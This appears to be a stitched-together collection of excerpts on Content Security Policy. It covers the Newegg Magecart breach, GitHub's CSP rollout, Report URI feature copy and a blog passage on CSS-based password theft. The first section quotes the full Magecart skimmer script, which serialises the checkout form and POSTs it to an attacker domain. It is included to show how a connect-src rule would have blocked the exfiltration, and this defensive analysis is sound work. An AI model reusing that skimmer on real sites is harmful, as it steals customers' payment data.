How a Content Security Policy (CSP) Could Have Protected Newegg

Fifteen lines of code — 15 lines of JavaScript, to be precise — is all it took for Magecart (editor’s note: lol at that name) to capture payment data on Newegg’s billing page before sending it to a domain they registered. Here are those 15 lines:

window.onload = function() {
  jQuery('#btnCreditCard.paymentBtn.creditcard').bind("mouseup touchend", function(e) {
   var dati = jQuery('#checkout');
   var pdati = JSON.stringify(dati.serializeArray());
   setTimeout(function() {
    jQuery.ajax({
     type: "POST",
     async: true,
     url: "https://neweggstats.com/GlobalData/",
     data: pdati,
     dataType: 'application/json'
    });
   }, 250);
  });
};

We don’t know how this malicious code was injected on Newegg’s billing page, but we do know how Newegg could have drastically decreased the likelihood of a breach.

Content Security Policy

Content Security Policy (CSP) is a security standard which helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks resulting from execution of malicious content in a trusted web page context. It’s also supported and enforced by all major web browsers.

Looking at the code above, we can see that Magecart embedded an XHR request to neweggstats.com. CSP provides space for defining a rule that blocks this type of request by establishing policies to only permit certain types of content from safe sources. When configuring your web servers, make sure they are set to return the Content-Security-Policy HTTP header. For example:

Content-Security-Policy:
  default-src 'self' *.trusted.com;
  img-src *;
  media-src mediasouce1.com mediasource2.com;
  script-src scripts.trusted.com;
  connect-src 'self'

For this particular breach, connect-src is the critical rule. Again, because we don’t know how the code was actually injected, we can’t be sure that CSP would prevent the injection itself. However, the connect-src directive would have prevented the HTTP request to send the data to somewhere else, especially a sneakily-named domain.

GitHub’s CSP journey

We shipped subresource integrity a few months back to reduce the risk of a compromised CDN serving malicious JavaScript. That is a big win, but does not address related content injection issues that may exist on GitHub.com itself. We have been tackling this side of the problem over the past few years and thought it would be fun, and hopefully useful, to share what we have been up to.

Just to get everyone on the same page, when talking about “content injection” we are talking about:

  • Cross Site Scripting (XSS) – Yup, the most common web vulnerability of the past, present, and foreseeable future. Given its prevalence, many developers are familiar with XSS and the obvious security consequences of allowing injected JavaScript to execute on your site.
  • Scriptless attacks – This is a more nuanced issue and is frequently not considered since people are too busy fending off XSS. But, as has been documented by Michal Zalewski in “Postcards from the post-XSS world”, Mario Heiderich (et al) in “Scriptless Attacks –
    Stealing the Pie Without Touching the Sill”
    , and other related work, preventing XSS does not solve all of your content injection problems.

GitHub uses auto-escaping templates, code review, and static analysis to try to prevent these kinds of bugs from getting introduced in the first place, but history shows they are unavoidable. Any strategy that relies on preventing any and all content injection bugs is bound for failure and will leave your engineers, and security team, constantly fighting fires. We decided that the only practical approach is to pair prevention and detection with additional defenses that make content injection bugs much more difficult for attackers to exploit. As with most problems, there is no single magical fix, and therefore we have employed multiple techniques to help with mitigation. In this post we will focus on our ever evolving use of Content Security Policy (CSP), as it is our single most effective mitigation. We can’t wait to follow up on this blog to additionally review some of the “non-traditional” approaches we have taken to further mitigate content injection.

Report URI: Content Security Policy, powerful monitoring and protection

With Content Security Policy, and reporting provided by Report URI, you can take full control of resources that are permitted to load on your site. Taking control of where JavaScript can be loaded and executed from is a powerful mitigation for one of the most common forms of attacks seen against web applications, Cross-Site Scripting (XSS).

KEY FEATURES
Whilst the main attraction to CSP is mitigating Cross-Site Scripting attacks, it has a lot more to offer. Here are just a few of the things that you can do with CSP:

  • Detect mixed-content
  • Control where forms can post data
  • Restrict loading of any content type
  • Automatically fix mixed-content
  • Control nested browsing contexts
  • Defend against click-jacking

What is CSP? Why & How to Add it to Your Website.

For example, a common way to steal logins using CSS is by sending a request for a background image or font to an evil URL such as  where a is the letter you typed into the password login field. When you would type the next letter of your password, the evil CSS script would send another request but with that letter instead of a. The evil site then logs these requests to determine your username & password. By allowing unsafe-inline for our style-src, someone could inject this evil code. Fortunately, their code wouldn’t work since our CSP doesn’t allow img-src & font-src from the evil example site.

You are also not in bad company by doing this. A lot of sites, including GitHub & security professional Troy Hunt’s blog use unsafe-inline. Facebook uses unsafe-eval & even requires it for some of their SDKs. Anyone using Google Tag Manager for analytics will also have to reduce their CSP security. I must confess as well. I use GatsbyJS for my personal blog & there are issues that need to be fixed before I can remove unsafe-inline.